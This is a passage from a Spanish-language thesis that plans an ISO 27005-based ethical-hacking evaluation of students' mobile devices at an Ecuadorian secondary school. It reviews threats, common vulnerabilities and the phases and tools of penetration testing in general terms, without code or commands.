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RESUMEN EJECUTIVO

El presente trabajo de titulacion denominado "Hacking FEtico para Identificacion de
Vulnerabilidades en Dispositivos Moviles Utilizados por Estudiantes en Educacion Media
Superior", tiene como objetivo evaluar la seguridad de los dispositivos méviles empleados por
estudiantes, identificando vulnerabilidades mediante técnicas de hacking ético basadas en la norma
ISO 27005. A través de un analisis, se estudian riesgos como el uso de redes inseguras, malware,
y ataques de ingenieria social, proponiendo soluciones practicas con un manual de buenas practicas
y recomendaciones para mitigar dichas amenazas. Este estudio busca fomentar una cultura de
ciberseguridad en los estudiantes, promoviendo la proteccion de datos personales y académicos.
La investigacion sigue un enfoque estructurado en cuatro etapas: planeacion, analisis, ataque y
generacion de informes. Se destaca la necesidad de colaboracidon interinstitucional entre
estudiantes y organismos reguladores para implementar medidas efectivas de proteccion. Ademas,
es importante la capacitacion en ciberseguridad como herramienta fundamental para enfrentar los
desafios de un entorno digital que se torna méas complejo y conectado. Este trabajo contribuye
significativamente al fortalecimiento de la seguridad en dispositivos moviles en el ambito

educativo.

Palabras clave: Seguridad, Datos, Informacion, Estudiantes, Dispositivos Moviles



viii

ABSTRACT

The present thesis, titled "Ethical Hacking for Identifying Vulnerabilities in Mobile Devices Used
by High School Students," aims to evaluate the security of mobile devices commonly employed
by students. By leveraging ethical hacking techniques aligned with ISO 27005 standards, the study
identifies critical vulnerabilities and proposes practical solutions to mitigate them. Key risks,
including insecure networks, malware, and social engineering attacks, are analyzed. The research
further develops a manual of best practices and targeted recommendations to enhance
cybersecurity awareness and protect personal and academic data. Structured in four stages—
planning, analysis, attack execution, and report generation—the methodology underscores the
importance of collaboration among educational institutions, students, and regulatory bodies to
implement robust security measures. Moreover, it highlights the pivotal role of cybersecurity
training in addressing the complexities of an increasingly interconnected digital environment. This
work represents a significant contribution to improving mobile device security in the educational
sector.

Keywords: Security, Data, Information, Students, Mobile Devices
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CAPITULO I: ANTECEDENTES

Para el primer capitulo la investigacion inicia con la contextualizacion del objeto de
estudio, realizando una descripcion general. A continuacion, se explica claramente el problema a
abordar, destacando su importancia y las deficiencias existentes en el conocimiento actual.
Posteriormente, se investigan y establecen los objetivos de la investigacion, generales y
especificos. Procedemos a justificar la investigacion, argumentando la necesidad de llenar los
vacios de conocimiento y destacando los beneficios esperados. Ademas, se define el alcance y
delimitacion del estudio, estableciendo los limites y variables relevantes. Finalmente, se describe
en detalle la metodologia utilizada, incluyendo los métodos, técnicas e instrumentos utilizados en
la recoleccion y andlisis de datos, con la debida justificacion.
1.1. Tema

Hacking Etico para Identificacién de Vulnerabilidades en Dispositivos Méviles
Utilizados por Estudiantes en Educacion Media Superior
1.2. Problema

Las redes de telecomunicaciones son ampliamente utilizadas por la mayoria de los
estudiantes de educacion media superior en la actualidad. Esto se debe a que cuentan con
dispositivos moviles a su disposicion para su uso diario. Sin embargo, este grupo vulnerable esta
experimentando un aumento en los ciberataques debido a la falta de educacion y buenas
practicas en el acceso a estos medios. (Sharma & Sanchez, 2023)

Los ciberdelincuentes estan constantemente al acecho de los estudiantes, ya que estos
pueden brindarles acceso y control a sus datos facilmente a través de publicidad engafosa,

conexiones inalambricas gratuitas o regalos para juegos. Todo esto tiene como objetivo obtener



acceso a sus dispositivos, robar sus datos o tomar el control total de los mismos. (Aguilar, 2022)
para obtener posibles tarjetas de crédito de sus padres o contrasefias de acceso. Esta situacion se
ha convertido en una amenaza real a nivel nacional, no solo debido a las pérdidas financieras que
ocasiona, sino también por la manipulacion de informacion confidencial que queda expuesta al
publico. (Central del Ecuador, 2023)

Por lo tanto, los ataques informdticos representan una amenaza constante para la seguridad
de la informacién de personas y organizaciones (Back & LaPrade, 2020). Segin los datos
proporcionados por la Agencia de Regulacion y Control de las Telecomunicaciones (ARCOTEL,
2023a), el 46 % de los usuarios del servicio moévil tienen en su poder un teléfono inteligente.
Ademas, el boletin estadistico de ARCOTEL indica que 11% de los nifios en edades entre 5 a 15
afios de edad, poseen un teléfono movil. Este grupo de estudiantes de educacion media superior
es considerado vulnerable a los ataques informéticos, ya que pueden estar menos familiarizados
con las medidas de prevencion y proteccion adecuadas. Por ello, es importante realizar un estudio
y andlisis de las vulnerabilidades de los ataques informaticos dirigidos a este sector de la
poblacion. (Fouad, 2021)

El objetivo de este estudio es identificar los tipos, técnicas y consecuencias de los ataques
informaticos que afectan a los estudiantes de educaciéon media superior (Fernandez, 2022), asi
como las estrategias y herramientas para mitigarlos o evitarlos. Para ello, se utilizardn métodos de
investigacion documental, andlisis de casos y encuestas a una muestra representativa de
estudiantes.

Se esperan obtener los siguientes resultados de este estudio: conocer el nivel de exposicion

y riesgo de los estudiantes frente a ataques informaticos, determinar las principales



vulnerabilidades y fallas de seguridad en sus dispositivos y redes, y proponer recomendaciones y

mejores practicas para mejorar su cultura digital y su ciberseguridad.



1.3. Objetivos
1.3.1. Objetivo General
Evaluar la seguridad de los dispositivos mdviles utilizados por estudiantes de la Unidad
Educativa 17 de Julio, mediante técnicas de hacking ético, basadas en las normas ISO 27005 con
el fin de identificar y analizar las vulnerabilidades existentes.
1.3.2. Objetivos Especificos
Identificar los tipos, técnicas y consecuencias de vulnerabilidades a dispositivos moviles
de estudiantes en educacién media superior.
Determinar vulnerabilidades clave y fallas de seguridad a dispositivos méviles de

estudiantes en educacion media superior.

Informe de auditoria de Hacking Etico y propuesta de mejores practicas a dispositivos moviles

en estudiantes de educacion media superior.



1.4. Alcance

Realizar un estudio exhaustivo sobre las vulnerabilidades que enfrentan los dispositivos
moviles utilizados por estudiantes de la Unidad Educativa 17 de julio, asi como proponer buenas
practicas para mitigar y prevenir estas vulnerabilidades. El estudio se centrard en analizar los
riesgos y amenazas especificos a los que se enfrentan los estudiantes al utilizar sus dispositivos
moviles, como ciberataques, robo de datos, acceso no autorizado y pérdida de privacidad. El
alcance del estudio se limitara a los dispositivos moviles utilizados en el contexto educativo, social
y personal de los estudiantes de educacion media superior. Ademas, la investigacion se realizara
considerando las normas y reglamentos existentes en materia de seguridad de la informacién y
proteccion de datos. El tipo de investigacion es aplicada y seguiria una metodologia Offensive

Security y se desarrollara en las siguientes etapas:

Figura 1

Diagrama Metodologico Offensive Security
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1.4.1 Etapa 1: Planeacion para la Implementacion

Durante la etapa inicial se identifican y definen los objetivos para la investigacion, asi como
los requisitos especificos para alcanzarlos. Se establece el alcance de la investigacion y se
determinan los principales aspectos a investigar, tomando como referencia las normas ISO 27005.
(PECB, 2021) Ademas, se realiza un analisis detallado de las necesidades de seguridad de los
estudiantes de educacion media superior en relacion con el uso de dispositivos moviles.
(Tecnologias de la Informacién) Se examinan las vulnerabilidades comunes y las practicas
actuales, se identifican los principales desafios y riesgos, y se establece el plan de recopilacion de
datos.
1.4.2 Etapa 2: Descubrimiento para el andlisis

En este paso se lleva a cabo el disefio de la investigacion y la seleccion de métodos y
técnicas adecuadas. Los entrevistas y encuestas, las cuales sirven para recolectar datos, estdn
disefiados para verificar la seguridad de los estudiantes y las buenas précticas en el uso seguro de
dispositivos moviles. También se definen los criterios y herramientas para la seleccion de la
muestra.
1.4.3 Etapa 3: Ataque y Verificacion

Una vez recopilados los datos, se realiza un analisis completo. Se aplican analisis
estadisticos para el analisis de los datos cuantitativos y se utiliza un enfoque de codificacion y
categorizacion para el analisis de los datos cualitativos. En esta etapa se desarrollan los ataques
con las herramientas de hacking ético que proponen buenas practicas para el uso seguro de
dispositivos moviles en los estudiantes de educacion media superior. Con la verificacion se mira

los resultados derivados del analisis de los datos.



1.4.4 Etapa 4: Informes

En esta tltima etapa, se realiza los informes de auditoria de los dispositivos analizados y
se propone buenas practicas que se someten a la evaluacion de medidas de mitigacion informatica
para estudiantes de educacion media superior. Se recopilan comentarios y se realizan los ajustes o
mejoras necesarias. Por ultimo, se entregan los informes y un manual que incluye propuestas de
buenas practicas, los resultados son difundidos a instituciones educativas, organizaciones
relevantes y otras partes interesadas para promover la concientizacion e implementacion de
medidas de seguridad en el uso de dispositivos moviles.

1.5. Justificacion

“La creciente dependencia de los dispositivos moviles en la escuela secundaria ha traido
consigo la necesidad de comprender y abordar las vulnerabilidades a las que estan expuestos estos
dispositivos.” (Gonzales et al., 2021) En un entorno educativo cada vez mas digitalizado, es
fundamental garantizar la seguridad de los dispositivos moviles utilizados por los estudiantes, ya
que pueden contener informacién confidencial y sensible relacionada con sus estudios y vida
personal.

Sin embargo, “La mayoria de los estudiantes desconocen las muchas vulnerabilidades a las
que estan expuestos sus dispositivos moviles, ni las mejores practicas de seguridad que pueden
ayudarlos a proteger su informacion”. (Sophos Iberia, 2020) Esto crea un riesgo significativo ya
que los dispositivos moéviles pueden ser objeto de ataques cibernéticos, pérdida de datos o incluso
robo de identidad.

Asi, esta tesis tiene como objetivo realizar un estudio exhaustivo sobre las vulnerabilidades

a las que se enfrentan los dispositivos moviles utilizados por estudiantes de secundaria. A través



de este estudio, buscamos identificar las vulnerabilidades de los dispositivos moviles de los
estudiantes, asi como comprender su impacto en su experiencia educativa.

Ademas, “Se propone investigar y desarrollar un conjunto de buenas practicas de seguridad
que los estudiantes pueden implementar para proteger de manera efectiva sus dispositivos
moviles”. (Asobanca, 2024) Estas mejores practicas cubrirdn aspectos como la gestion de
contrasefias, la actualizacion de software, la descarga de aplicaciones seguras y la concienciacion
sobre la privacidad de los datos.

“La importancia de esta tesis radica en su contribucion al campo de la seguridad en
dispositivos moéviles en el ambito educativo”. (Brown, 2022) Al proporcionar una comprension
mas profunda de las vulnerabilidades especificas que enfrentan los estudiantes de secundaria, asi
como soluciones practicas para proteger sus dispositivos, busca promover un entorno educativo
seguro y confiable.

El tema de buenas practicas en los dispositivos moviles es de creciente relevancia en el
ambito educativo. Es probable que las instituciones y autoridades educativas reconozcan la
importancia de investigar y abordar las vulnerabilidades en este contexto. Esto podria traducirse
en un mayor apoyo y colaboracion de las instituciones para la realizacion del estudio. “La
seguridad de los dispositivos moviles es una preocupacion creciente en la sociedad actual. La
investigacion sobre este tema tiene un impacto directo en la proteccion de la privacidad y seguridad
de los estudiantes, asi como en la promocién de una cultura de seguridad digital”. (Acosta et al.,
2021) Esto puede generar mayor interés y apoyo para la realizacion del estudio.

La Ley Organica de Proteccion de Datos y Garantia de los Derechos Digitales: En
Ecuador, el articulo 66, numeral 19 de la Constitucion de la Republica, menciona que la

proteccion de datos personales es un derecho. Este derecho abarca tanto el acceso como la



capacidad de decidir sobre los datos personales e informacion propia, ademas de garantizar su
proteccion. Cualquier actividad relacionada con la recopilacion, almacenamiento, procesamiento,
distribucién o divulgacion de estos datos necesita contar con la autorizacion del titular o estar
respaldada por disposicion legal. Es importante sefialar que la informacion proporcionada en
contexto no incluye el contenido completo de la Ley Organica de Proteccion de Datos y Garantia
de los Derechos Digitales en Ecuador. (Reglamento a la Ley de Proteccion de Datos Personales,

2021).
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CAPITULO II: MARCO TEORICO

Este capitulo inicia con una revision literario sobre el estudio Hacking Etico para
Identificacion de Vulnerabilidades en Dispositivos Moviles utilizados por Estudiantes en
Educacion Media Superior. Luego, se describe los principales conceptos y se establece una base
tedrica solida, mediante el analisis exhaustivo de investigaciones y publicaciones previas
relacionados al tema de estudio.

2.1. Penetracion de los Dispositivos Moviles en el Ecuador

En cuanto a las conexiones moviles, ya en 2020 se registraron 17.56 millones de
conexiones moéviles activas en Ecuador, lo que equivale al 96% de la poblacion total. Sin embargo,
a pesar de estos avances, aun existen desafios significativos. Por ejemplo, la cobertura de los
servicios de Banda Ancha (BA) fija y movil alcanza tinicamente el 10% y el 53%, respectivamente,
lo que resalta la importancia de continuar impulsando mejoras en la accesibilidad y la calidad del
internet movil en todo el territorio nacional. (Rivera et al., 2020).

En este sentido, es importante destacar que las proyecciones sobre la penetracion de
dispositivos moviles en Ecuador, para el afio 2024 se basan en datos anteriores proporcionados por
la (ARCOTEL, 2023b). La cual expresa que los usuarios de internet alcanzaron los 13.92 millones
en noviembre de 2023, representando el 77.73% de la poblacion ecuatoriana. Asimismo, segun el
informe "Estado digital en Ecuador 2024" los usuarios en redes sociales ascendieron a 12.66

millones, lo que equivale al 69.2% de la poblacion total (Mejia, 2024).

2.2. Seguridad de la Informacion
El 2023 fue un afo crucial para la ciberseguridad, con un incremento de alrededor del 14%

en las vulnerabilidades identificadas respecto al afio anterior. En este contexto, resulta fundamental
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que las empresas implementen una estrategia de seguridad informéatica basada en la prevencion y
la proactividad. De acuerdo con un informe de IBM, el tiempo promedio para detectar estas
vulnerabilidades es de 207 dias, y una vez descubiertas, se requieren en promedio 277 dias para
contenerlas. (Garcia, 2024).

En este sentido, (Ikusi, 2023) afirma que la Seguridad de la Informacién en 2024 se
presentard como un periodo de cambios significativos, con organizaciones y empresas adoptando
nuevas estrategias y tecnologias para hacer frente a las crecientes amenazas cibernéticas. Una de
las tendencias mas destacadas actualmente, es la incorporacion de la Inteligencia Artificial (IA) y
el aprendizaje automatico a los dispositivos moviles, que estan transformando el futuro de la
ciberseguridad. Numerosos fabricantes de tecnologia han integrado la inteligencia artificial en sus
servicios, y esta tendencia continuard expandiéndose dentro del ambito de la ciberseguridad. La
IA permite identificar, evitar o mitigar amenazas, transformando las medidas reactivas en enfoques
mas proactivos. (Gartner et al., 2024).

2.2.1. Triangulo CIA (Confidencialidad, Integridad, Disponibilidad)

El concepto del Tridangulo de la CIA es fundamental en la seguridad de la informacion y
hace referencia a tres aspectos criticos: Confidencialidad, Integridad y Disponibilidad. Estos
principios son esenciales para proteger la informacion contra el acceso no autorizado (ISO/IEC
27001, 2022), garantizar su exactitud y garantizar que esté disponible cuando sea necesario. A
continuacion, la figura 2 muestra los componentes esenciales de la seguridad informatica,
centrandose en el modelo del tridngulo CIA. Cada aspecto de este modelo proporcionard una
comprension mas detallada de su importancia en el espacio de la ciberseguridad. (NIST, 2024). A

continuacion, se describen los componentes:
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Figura 2

Modelo del triangulo CIA

DISPONIBILIDAD

Nota. Adaptado de ;Qué es la triada CIA o CID?, por Muioz, N., (2017), LinkedIn.

Confidencialidad: Representada con un fondo azul oscuro, se refiere a la proteccion
informética para que solo sea accesible a personas autorizadas. Esto implica implementar
medidas de seguridad fisicas y 16gicas, como sistemas de autenticacion y control de acceso, para
prevenir el acceso indebido. (Fortinet, 2024)

Integridad: Representada con un fondo gris claro, la integridad se centra en asegurar que
la informacidn no sea alterada sin autorizacion. Se utilizan controles como la suma de
verificacion y firmas digitales para mantener la precision y confiabilidad de los datos (Fortinet,
2024)

Disponibilidad: En la base del tridngulo y con un fondo verde oliva, la disponibilidad
garantiza que la informacion esté accesible para los usuarios autorizados cuando la necesiten.
Esto incluye tener sistemas redundantes y planes de recuperacion ante desastres para prevenir

interrupciones del servicio (Ontek, 2024)
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2.2.2. Principales amenazas y riesgos de seguridad en la actualidad

En el panorama de la seguridad digital de 2024, las amenazas y riesgos continuan
evolucionando constantemente, presentando desafios cada vez mas sofisticados para la proteccion
de la informacion. Entre las principales amenazas y riesgos de seguridad actuales se encuentran:

Ataques de Ransomware Dirigidos: Se espera que el ransomware siga siendo una de las
principales preocupaciones de las empresas. Las grandes organizaciones, los proveedores de
productos esenciales y las grandes empresas de logistica se enfrentan a fuertes riesgos, con
consecuencias econdmicas y sociales potencialmente graves. (Kaspersky, 2024)

Explotacion de la Inteligencia Artificial (IA): La inteligencia artificial representa una
herramienta de doble filo. Por un lado, potencia las capacidades de ciberdefensa; por otro, ofrece
a los atacantes herramientas avanzadas para desarrollar malware y llevar a cabo ataques
automatizados. Se prevé que, para 2024, la IA sea utilizada cada vez mas para generar ataques de
phishing personalizados a gran escala, lo que supone un reto significativo para las defensas
tradicionales basadas en la deteccion. (Sayid, 2024).

Vulnerabilidades en la Cadena de Suministro: La digitalizacion de las cadenas de
suministro ha mejorado su eficiencia, pero al mismo tiempo ha incrementado su vulnerabilidad.
Los ciberdelincuentes buscaran atacar a proveedores mas pequefios como puertas de acceso para
infiltrarse en organizaciones de mayor tamafio. Para reducir este riesgo, es fundamental fomentar
la transparencia, fortalecer la colaboracion y aplicar controles de seguridad rigurosos a lo largo de
toda la cadena de suministro. (Juan Padial, 2024).

Amenazas a Dispositivos IoT: El auge del Internet de las cosas (IoT) ha incrementado
significativamente la cantidad de dispositivos conectados a la red, convirtiendo a cada uno de ellos

en un posible punto de vulnerabilidad. Desde cadmaras de seguridad hasta sistemas de climatizacion
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(HVAC), estos dispositivos pueden ser utilizados para llevar a cabo ataques de denegacion de
servicio (DDoS), espiar a organizaciones o servir como plataforma para ejecutar ataques mas
complejos. (Valenzuela, 2024).

Ataques de Manipulacion de la Informacion: Actualmente, los ataques de manipulacion
de informacidn representan una de las principales amenazas a la seguridad. Estos ataques pueden
incluir la difusion de noticias falsas, la manipulacion de datos en linea y la creacion de contenido
engafioso. Las consecuencias de estos ataques son graves, ya que pueden provocar desinformacion,
manipulacion de la opinion publica y socavar la confianza en las fuentes de informacion. Por lo
tanto, es esencial que las organizaciones implementen medidas efectivas de deteccion y prevencion
para proteger la integridad de la informacion y mantener la confianza del ptblico. (Siddiqui, 2023).

Estas amenazas y riesgos resaltan la importancia de mantenerse actualizado con las mejores
practicas de seguridad, implementar medidas de seguridad solidas y promover la conciencia de
seguridad en todos los niveles de la sociedad y las organizaciones.

2.3. Seguridad de los dispositivos moviles

Se trata de un conjunto de medidas y practicas disefiadas con el fin de proteger los
dispositivos moéviles, como teléfonos inteligentes y tabletas, contra diversas amenazas y ataques
cibernéticos. Estas amenazas pueden incluir malware, phishing, robo de datos, entre otras. La
seguridad de los dispositivos mdviles es fundamental en la era digital actual, donde la mayoria de
las personas dependen de sus dispositivos moviles para una variedad de tareas, desde
comunicaciones hasta transacciones financieras (Cooper, 2024; Quifionez, 2024).

Como destaca (Medina & Edward Reyes, 2023) es fundamental asegurar “la proteccion
total de los datos de los dispositivos portatiles y de la red conectada a los dispositivos”. En este

contexto, es crucial abordar las vulnerabilidades comunes en los dispositivos mdviles, que son
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debilidades o fallas que permiten a los ciberdelincuentes acceder a la informacion o al
funcionamiento de estos dispositivos, como teléfonos inteligentes, tabletas u ordenadores
personales Comprende y mitiga estas vulnerabilidades como elementos clave para fortalecer la
seguridad de los dispositivos moviles en los siguientes items:

e Practicas inadecuadas de almacenamiento de datos: cuando los desarrolladores de
aplicaciones no siguen los estandares de seguridad para guardar datos de los usuarios como
contrasefias, tarjetas de crédito o informacién personal. Esto puede facilitar que terceros
roben o filtren estos datos.

e Software malicioso: cuando se instalan aplicaciones que contienen codigo malicioso,
como virus, troyanos, spyware o ransomware. Estos programas pueden dafiar su
dispositivo, robar informacion, espiar actividades o bloquear el acceso.

e Acceso no autorizado: cuando personas no autorizadas tienen acceso al dispositivo, ya sea
por descuido, robo o pérdida. Esto puede comprometer la seguridad y privacidad de los
datos transmitidos o almacenados.

e Falta de cifrado: cuando se envian o reciben datos sin utilizar un método de cifrado que
los proteja de una posible interceptacion. Esto puede exponer la informacion a ataques de
“intermediario” o de “rastreo”.

e Fugas de datos por sincronizacion: cuando los datos del dispositivo se sincronizan con
otros servicios o dispositivos, como correo electronico, nube o computadora. Esto puede
aumentar el riesgo de pérdida, copia o modificacion de datos sin autorizacion.

e Vulnerabilidades del sistema operativo: cuando el sistema operativo del dispositivo
presenta errores o fallas que pueden ser aprovechadas por los ciberdelincuentes para

ejecutar codigo malicioso, obtener privilegios o acceder a informacion
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e Aplicaciones maliciosas: cuando se descargan aplicaciones de fuentes no confiables o que
tienen permisos excesivos para acceder a los recursos del dispositivo. Estas aplicaciones
pueden contener cddigo malicioso, realizar acciones no deseadas o enviar informacién a
terceros.

e Redes inseguras: cuando el dispositivo estd conectado a redes publicas o no seguras, como
cafeterias, aeropuertos u hoteles. Estas redes pueden ser utilizadas por los ciberdelincuentes
para interceptar el trafico, modificar datos o acceder al dispositivo.

e Ataques de phishing: Esto se conoce como phishing, un tipo de ciberataque en el que se
envia un mensaje fraudulento disefiado para enganar al usuario y obtener informacion
confidencial, como contrasefnas, nimeros de tarjetas de crédito o datos personales. Estos
mensajes pueden llegar por correo electronico, SMS, WhatsApp o redes sociales.

e Desbloqueo del dispositivo: Cuando se modifica el sistema operativo del dispositivo para
eliminar las restricciones impuestas por el fabricante o proveedor. Esto puede afectar la
seguridad y el rendimiento del dispositivo, asi como la garantia y el soporte técnico.

Para proteger los dispositivos moviles, se recomienda seguir varias practicas
recomendadas, como usar contrasefias seguras, configurar un bloqueo de pantalla, realizar copias
de seguridad regularmente, instalar software de seguridad, administrar los permisos de las
aplicaciones moviles, evitar abrir archivos adjuntos y enlaces sospechosos y evitar el uso de
dispositivos personales en redes corporativas. Ademas, es importante estar al tanto de las ultimas
tendencias y amenazas en la seguridad de los dispositivos mdviles para poder tomar las medidas

adecuadas (Santos, 2024).
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2.3.1. Privacidad y Proteccion de datos en dispositivos moviles

Son temas de creciente importancia en el mundo digitalizado actual. En 2024, se espera
fortalecer la legislacion de manera efectiva y segura, Un entorno donde los usuarios de tecnologia
puedan demandar completa transparencia para otorgar un consentimiento informado sobre el
manejo de su informacion seria un espacio que promueve la proteccion de datos y la privacidad.
En este contexto, las empresas tendrian la obligacion de explicar claramente como recopilan,
almacenan y utilizan los datos, permitiendo a los usuarios tomar decisiones conscientes y
controladas respecto a su informacion personal (Motta, 2023). Ademas, se prevé que las
tecnologias que mejoran la privacidad, denominadas Privacy-enhancement Technologies (PET),
asuman mayor protagonismo y también que las empresas empiecen a considerar politicas de
privacidad para sus sitios web, como un requisito fundamental para generar confianza entre los
usuarios.

En lo que va del afio, se han registrado varios ataques de phishing e ingenieria social, con
el potencial de engafiar a las personas para que accedan a sus cuentas financieras (Kaspersky,
2024). Las tacticas de los ciberdelincuentes se actualizan constantemente, especialmente con los
nuevos avances en inteligencia artificial. Sin embargo, las soluciones de seguridad también se
renuevan con frecuencia para evitar que estas estafas se propaguen. Es muy importante mantenerse
informado sobre estas tendencias y adoptar practicas de seguridad digital.

Por otra parte, para proteger los dispositivos moéviles, se recomienda utilizar contrasefias y
datos biométricos seguros, tener cuidado en redes Wi-Fi publicas o gratuitas, utilizar una VPN,
cifrar el dispositivo, instalar un antivirus y actualizar al software mas reciente.(IMEI, 2024) Estas
estrategias incluyen el uso de software antivirus, cifrado de datos, autenticacion de usuarios y

proteccion contra malware y ciberataques. Es fundamental contar con una buena seguridad movil
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para evitar el robo de datos, intrusiones no autorizadas y el acceso a informacion
confidencial.(Gonzalez, 2024).
2.3.2. Tendencias en seguridad de dispositivos moviles

La seguridad de los dispositivos moéviles es una cuestion de gran importancia en una
sociedad cada vez mas digitalizada. A medida que avanzamos hacia 2024, se espera que surjan
varias tendencias importantes en este campo, impulsadas por la rapida evolucion de la tecnologia
y el cambiante panorama de las ciber amenazas (Cooper, 2024), algunas de las tendencias para
este afio seran las siguientes:

o Inteligencia Artificial: Avances en la Inteligencia Artificial (por sus siglas en ingles [A)
para identificar y predecir amenazas, con algoritmos de aprendizaje automatico que
mejoran las defensas con el tiempo.

e Seguridad de IoT: Desarrollo de protocolos de seguridad estandarizados y robustos para
dispositivos IoT (Internet of Things), con posible uso de blockchain para proteger redes.

e Computacion Cuantica: La computacion cudntica esta transformando la seguridad de los
dispositivos modviles al requerir un cifrado resistente a los ataques cudnticos. Es esencial
desarrollar soluciones avanzadas de cifrado y proteccion para abordar estos desafios
emergentes. .

e Seguridad Médvil: Mayor enfoque en proteger dispositivos moviles, con Splashtop
proporcionando acceso remoto seguro desde dispositivos moviles

e Blockchain: blockchain para mejorar la seguridad de transacciones digitales y gestion de
identidades, y proteccion de redes IoT.

e Seguros de Ciberseguridad: El aumento en la adopcion de seguros de ciberseguridad

responde al crecimiento de las amenazas cibernéticas en el ambito empresarial. Las
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empresas reconocen la necesidad de resguardar sus activos digitales ante ataques

sofisticados. Splashtop, proveedor de soluciones de acceso remoto y ciberseguridad,

desempefia un papel vital al ofrecer herramientas que protegen la infraestructura
tecnologica empresarial. Al reducir los costos de los seguros de ciberseguridad, Splashtop
brinda una opcion asequible para fortalecer la seguridad y mitigar riesgos. La
implementacion de sus soluciones no solo protege los datos y sistemas, sino que también
puede influir en la reduccion de los costos de seguros, al demostrar a las aseguradoras una
postura proactiva frente a posibles amenazas cibernéticas.

2.4. Hacking Etico

El hacking ético, segun (Cuadros et al., 2022) consiste en contratar personas para piratear
un sistema con el objetivo de identificar y corregir posibles vulnerabilidades, evitando asi su
explotacion por parte de piratas informaticos malintencionados. La ética en el hacking ético es
fundamental, pues implica que estos profesionales realicen sus actividades de manera legal y ética,
obteniendo la debida autorizacion para evaluar la seguridad de los sistemas y redes. Esto se logra
adhiriéndose a un codigo de conducta que garantiza la integridad, confidencialidad y
disponibilidad de la informacion, al mismo tiempo que previene dafios o actividades ilegales.

En el campo del hacking ético, tal como lo define (Chilan & Kelyn, 2022), las habilidades
informaticas y los sistemas de redes se utilizan para ayudar a las organizaciones a evaluar y mejorar
sus mecanismos y procedimientos de seguridad. Esta practica se realiza con el consentimiento
previo de la organizacion y tiene como objetivo reforzar su postura de seguridad. A diferencia del
hacking malicioso o ilegal, el hacking ético no busca aprovechar las vulnerabilidades encontradas
para fines personales o delictivos. En cambio, se centra en documentar e informar estas

vulnerabilidades a la organizacion, permitiéndole resolverlas y prevenir futuros ataques. Por lo
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tanto, la ética en el hacking ético desempena un papel crucial a la hora de garantizar que estas
actividades se lleven a cabo de forma responsable y en interés de la ciberseguridad.
2.4.1. Métodos y Técnicas de Hacking Etico

El hacking ético, también llamado pentesting o pruebas de penetracion, utiliza métodos y
técnicas disenados para detectar vulnerabilidades y fallos en los sistemas de informacion de una
organizacion de manera controlada y con autorizacion. Este proceso consiste en simular ataques
cibernéticos con el propodsito de fortalecer la seguridad de los sistemas. A continuacion, se
presentan algunos de los métodos y técnicas mas utilizados (Garcia, 2021):

Recopilacion de informacion: esta es la primera fase del hacking ético donde se recopila
toda la informacion posible sobre el sistema objetivo. Esta informacion puede incluir datos como
nombre, ubicacion, dominio, servicios, puertos, sistemas operativos y aplicaciones. Es
fundamental resaltar que esta fase se puede realizar mediante métodos pasivos, sin interactuar
directamente con el objetivo, o0 mediante métodos activos, que implican interaccion directa.

Escaneo del sistema: en esta fase, las debilidades del sistema se identifican utilizando
diversas herramientas y técnicas en busca de vulnerabilidades o debilidades que puedan ser
explotadas. Para realizar esta evaluacion detallada se utilizan varias herramientas, como escaneres
de puertos, escaneres de vulnerabilidades y analizadores de trafico.

Obtener acceso no autorizado: aqui, el hacker ético intenta explotar las vulnerabilidades
encontradas para obtener acceso al sistema, llevar a cabo acciones maliciosas. En esta etapa se
utilizan herramientas especificas como exploits, shells y troyanos para llevar a cabo acciones

maliciosas.
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Mantener el acceso: una vez obtenido el acceso, el objetivo es mantenerlo para realizar
analisis mas profundos. En este contexto, se utilizan herramientas como puertas traseras,
registradores de pulsaciones de teclas y rootkits para garantizar la persistencia y el control.

Cubriendo huellas: El hacker ético intenta eliminar cualquier rastro de su intervencion,
para evitar ser detectado con la documentacidon y comunicacion de los resultados de las pruebas de
seguridad a la organizacion. Herramientas como generadores de informes, editores de texto y
presentaciones son esenciales para garantizar una comunicacion eficaz de los hallazgos obtenidos
durante el proceso de pirateria ética.

2.4.2. Herramientas y Practicas comunes en el Hacking Etico

Las herramientas y practicas comunes en el hacking ético son aquellas que facilitan o
automatizan algunas de las fases del proceso de hacking ético (Suarez & Lissette, 2022). Existen
multitud de herramientas disponibles para este fin, tanto gratuitas como comerciales, especificas y
genéricas. Algunos de los mas populares son (Araujo, 2024; Hacker Mentor, 2023):

e Nmap: Herramienta de auditoria de seguridad y escaneo de redes.

e Metasploit: Plataforma de pruebas de penetracion y explotacion de vulnerabilidades.

e Burp Suite: Sitio de seguridad web para pruebas de penetracion y auditoria de seguridad.

e Ettercap: Herramienta de hacking ético enfocada al seguimiento.

e Wireshark: Herramienta de andlisis de protocolos de red.

¢ Invicti: Herramienta que imita el comportamiento de los hackers para detectar e
identificar vulnerabilidades.

¢ Kali Linux: Distribucion de Linux especialmente disefiada para pruebas de penetracion y

auditoria de seguridad
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Ademas, existen varias practicas comunes y esenciales para los profesionales de la
ciberseguridad cuales son:

¢ Pentesting: El pentesting, o pruebas de penetracion, es un proceso en el que se simulan
ataques cibernéticos en sistemas informaticos para identificar vulnerabilidades y
debilidades de seguridad, con el fin de mejorar su proteccion. Se realiza de manera
controlada y con el permiso de la organizacion que solicita la prueba.

¢ Ingenieria social: La ingenieria social es una estrategia empleada para manipular a las
personas y obtener acceso no autorizado a sistemas informaticos o informacion
confidencial. Mediante la persuasion, el engafio y el abuso de la confianza, los atacantes
logran que las victimas divulguen datos sensibles, como contrasefias o informacion
personal, o que lleven a cabo acciones que pongan en riesgo la seguridad de la
organizacion. Este método explota las vulnerabilidades humanas en lugar de las
tecnologicas.

¢ Anailisis de vulnerabilidad: El anélisis de vulnerabilidad es el proceso sistematico de
evaluar el software y hardware de un dispositivo para identificar posibles puntos débiles o
vulnerabilidades. Utilizando herramientas automatizadas y métodos manuales, los
analistas buscan errores de configuracion, fallos de seguridad y otros problemas que
puedan ser explotados por atacantes. Este analisis es crucial para mantener la integridad y
seguridad de los sistemas y redes.

e Ataques de fuerza bruta: Los ataques de fuerza bruta son una técnica de hacking en la
que se intenta adivinar una contrasefia probando todas las combinaciones posibles hasta
encontrar la correcta. Este método implica el uso de programas automatizados que

generan y prueban miles o incluso millones de combinaciones de contrasefias en un corto
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periodo de tiempo. Aunque es un proceso laborioso y puede ser detectado, sigue siendo
una amenaza efectiva si las contrasefias no son lo suficientemente fuertes.

Analisis del codigo fuente: El analisis del codigo fuente implica revisar el cédigo de una
aplicacion para identificar vulnerabilidades de seguridad. Los desarrolladores y expertos
en seguridad examinan el codigo linea por linea para encontrar errores 16gicos, malas
practicas de programacion y posibles puntos de entrada para ataques. Este andlisis ayuda
